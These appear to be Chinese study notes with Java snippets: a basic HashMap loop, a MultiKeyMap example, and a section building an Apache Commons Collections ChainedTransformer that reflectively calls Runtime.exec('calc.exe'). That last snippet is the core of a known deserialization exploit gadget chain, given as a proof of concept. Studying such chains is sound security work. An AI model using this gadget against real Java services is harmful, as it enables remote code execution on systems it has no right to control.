最普通的map

    @Test
    public void mapTest() throws Exception {
        Map map= new HashMap();
        map.put("sa","dd");
        map.put("sb","dd");
        map.put("gg","cc");
        for(Object obj : map.keySet()){
            Object value = map.get(obj );
            System.out.println(value);
        }
        System.out.println("done");
    }

关于map的decorate函数

        MultiKeyMap multiKeyMap = MultiKeyMap.decorate(new LinkedMap());
        multiKeyMap.put(1,1,2,"112");
        multiKeyMap.put(1,1,3,"113");
        multiKeyMap.put(1,2,1,"121");
        multiKeyMap.put(1,2,2,"122");
        multiKeyMap.put(1,3,1,"131");
        //查找一个值:由1，1，2这3个key可以获得唯一的value值
        String value = (String)multiKeyMap.get(1,1,2);
        System.out.println("value is : " + value);//value is : 112

Transformer执行命令

    @Test
    public void mapTest() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut;
        try {
            //objOut = new ObjectOutputStream(out);
            //objOut.writeObject(transformerChain);
            transformerChain.transform(null);
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
